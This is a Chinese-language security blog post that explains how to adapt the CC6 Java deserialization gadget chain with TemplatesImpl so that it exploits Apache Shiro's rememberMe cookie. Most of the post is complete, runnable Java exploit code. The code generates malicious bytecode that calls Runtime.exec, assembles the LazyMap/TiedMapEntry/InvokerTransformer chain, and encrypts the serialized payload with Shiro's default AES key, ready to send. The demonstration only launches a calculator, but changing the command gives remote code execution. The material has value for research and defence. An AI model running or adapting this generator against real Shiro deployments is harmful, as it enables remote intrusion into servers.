F4DE F4DE
首页
技术
笔记
随笔
关于
友链
归档

F4DE

Web Security
首页
技术
笔记
随笔
关于
友链
归档
  • Java安全

    • Tomcat

    • Shiro

      • Shiro权限绕过1
      • Shiro权限绕过2
      • Shiro权限绕过3
      • Shiro权限绕过4
      • Shiro反序列化
      • 利用TemplatesImpl改造CC6攻击Shiro
        • TemplatesImpl
        • 改造CC6
        • Shiro中使用
      • 通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题
      • 在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
    • 字节码

    • 反序列化

  • 技术
  • Java安全
  • Shiro
F4DE
2021-04-02

利用TemplatesImpl改造CC6攻击Shiro

在Shiro反序列化中,由于Tomcat类加载的问题(classpath不同)会导致无法加载Transformer数组的问题,最近看到了利用TemplatesImpl类来改造CC6,绕过了使用Transformer数组的问题;在无法出网使用JRMP的时候,这条Gadget巧妙地化解了这个难题。

# TemplatesImpl

这个类在很多漏洞中都有利用(Fastjson反序列化、Java反序列化的一些Gadget······),主要是利用了类中的如下方法链:

newTransformer -->
	getTransletInstance -->
		defineTransletClasses--> (_class[])
			_class[].getConstructor().newInstance()

具体调试细节就不说了,主要的利用思路就是:

  1. 手动构造恶意的字节码
  2. 反射修改TemplatesImpl类中某些字段
  3. defineClass方法会将字节码还原成一个java.lang.Class对象
  4. 之后调用newInstance的时候会触发构造方法或者static code block

代码示例如下:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

public class Main {
    public static void main(String[] args) throws Exception {
        // 借用 javassist 库来生成恶意字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass test = pool.makeClass("Test");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        test.makeClassInitializer().insertBefore(cmd);
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = test.toBytecode();

        // 反射修改属性以及调用方法
        TemplatesImpl templates = new TemplatesImpl();
        Util.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Util.setFieldValue(templates, "_name", "F4DE");
        Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        templates.newTransformer();
    }
}

运行之后便会弹出计算器:

image-20210401235110252

注意点:

  • 修改_name字段是因为getTransletInstance方法中有这样的判断:

    if (_name == null) return null;
    
  • 修改_tfactory字段是因为defineTransletClasses中有_tfactory.getExternalExtensionsMap()这条语句,如果为null则会抛出空指针异常。

# 改造CC6

之前的CC6Gadget分析文章:Java反序列化-CC6 | F4de's blog (opens new window)

在CC6这条Gadget中可以使用InvokerTransformer这个类,通过Transformer数组来组成利用链:

TemplatesImpl templates = new TemplatesImpl();
Transformer[] transformers = new Transformer[]{
	new ConstantTransformer(templates),
	new InvokerTransformer("newTransformer", null, null)
};

利用InvokerTransformer来回调newTransforer,之后加载恶意字节码,完成命令执行。但是要想在Shiro中利用,关键在于,如何避免使用Transformer数组把TemplatesImpl对象传入到InvokerTransformer中?

wh1t3p1g师傅在Java反序列化利用链分析之Shiro反序列化 - 安全客,安全资讯平台 (anquanke.com) (opens new window)这篇文中给出了解决办法:使用LazyMap#get方法来代替ConstantTransformer,扮演一个类似于在Transformer数组中的传递者。

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
	······
    
    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }
}

在之前构造Gadget的时候,对于LazyMap#get方法的参数key是不关心的,因为我们主要利用的方式是把this.factory字段设置成一个ChainedTransformer来实现Transformer数组的链式调用;但是这个参数key可也会被传入transform方法中,所以现在可以把this.factory字段设置成一个InvokerTransformer,然后设置key这个参数为TemplatesImpl对象,然后让LazyMap#get方法来代替我们把TemplatesImpl对象传入InvokerTransformer中。

按照CC6的思路来改造代码:

Transformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);

然后再构造一个Map,设置key为tiedMapEntry,用于触发tiedMapEntry的hashCode方法:

HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();

完整Gadget代码:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        // 借用 javassist 库来生成恶意字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass test = pool.makeClass("Test");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        test.makeClassInitializer().insertBefore(cmd);
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = test.toBytecode();

        // 反射修改属性以及调用方法
        TemplatesImpl templates = new TemplatesImpl();
        Util.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        Util.setFieldValue(templates, "_name", "F4DE");
        Util.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 先设置一个无害方法,防止在 Map#put 方法中触发Gadget
        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);

        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");
        outerMap.clear();
        // 反射修改 iMethodName 字段为 newTransformer
        Util.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");

        // ======反序列化======
        ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
        ObjectOutputStream ops = new ObjectOutputStream(barr_out);
        ops.writeObject(expMap);
        ops.close();

        // ======序列化=======
        ByteArrayInputStream barr_in = new ByteArrayInputStream(barr_out.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(barr_in);
        ois.readObject();
        ois.close();
        barr_in.close();
    }
}

image-20210402003239271

# Shiro中使用

生成序列化数据的Base64编码值,然后使用AES加密,生成Payload:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
 * Shiro Gadget powered by CC6 Gadget
 * ==================================
 * HashMap#readObject -->
 *  TiedMapEntry#hashCode -->
 *      TiedMapEntry#getValue -->
 *          LazyMap#get -->
 *              InvokerTransformer#transform -->
 *                  TemplatesImpl#newTransformer
 */

public class CCShiroGadget {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass test = pool.makeClass("Test");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        test.makeClassInitializer().insertBefore(cmd);
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = test.toBytecode();

        byte[] payload = CCShiroGadget.getPayload(bytes);
        byte[] AES_KEY = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aesCipherService = new AesCipherService();
        ByteSource source = aesCipherService.encrypt(payload, AES_KEY);
        System.out.println(source.toString());
    }

    static byte[] getPayload(byte[] bytes) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "F4DE");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 先设置一个无害方法,防止在 Map#put 方法中触发Gadget
        Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);

        HashMap expMap = new HashMap();
        expMap.put(tiedMapEntry, "value");
        outerMap.clear();
        // 反射修改 iMethodName 字段为 newTransformer
        setFieldValue(invokerTransformer, "iMethodName", "newTransformer");

        // ======反序列化======
        ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
        ObjectOutputStream ops = new ObjectOutputStream(barr_out);
        ops.writeObject(expMap);
        ops.close();
        return barr_out.toByteArray();
    }

    static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Class<?> clazz = Class.forName(obj.getClass().getName());
        Field field1 = clazz.getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }
}

其中Base64编码用了Shiro中的org.apache.shiro.codec.Base64,AES加密使用Shiro中原生的AesCipherService。

运行,把生成的Payload发送给Shiro:

image-20210402003820111

Shiro中的日志抛出异常的函数调用栈也和我们预期中的一样:

image-20210402003908333

Shiro反序列化
通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题

← Shiro反序列化 通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题→

最近更新
01
在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
04-19
02
CommonsBeanUtils
04-19
03
基于Tomcat全局存储进行回显
04-16
更多文章>
Theme by Vdoing | Copyright © 2020-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×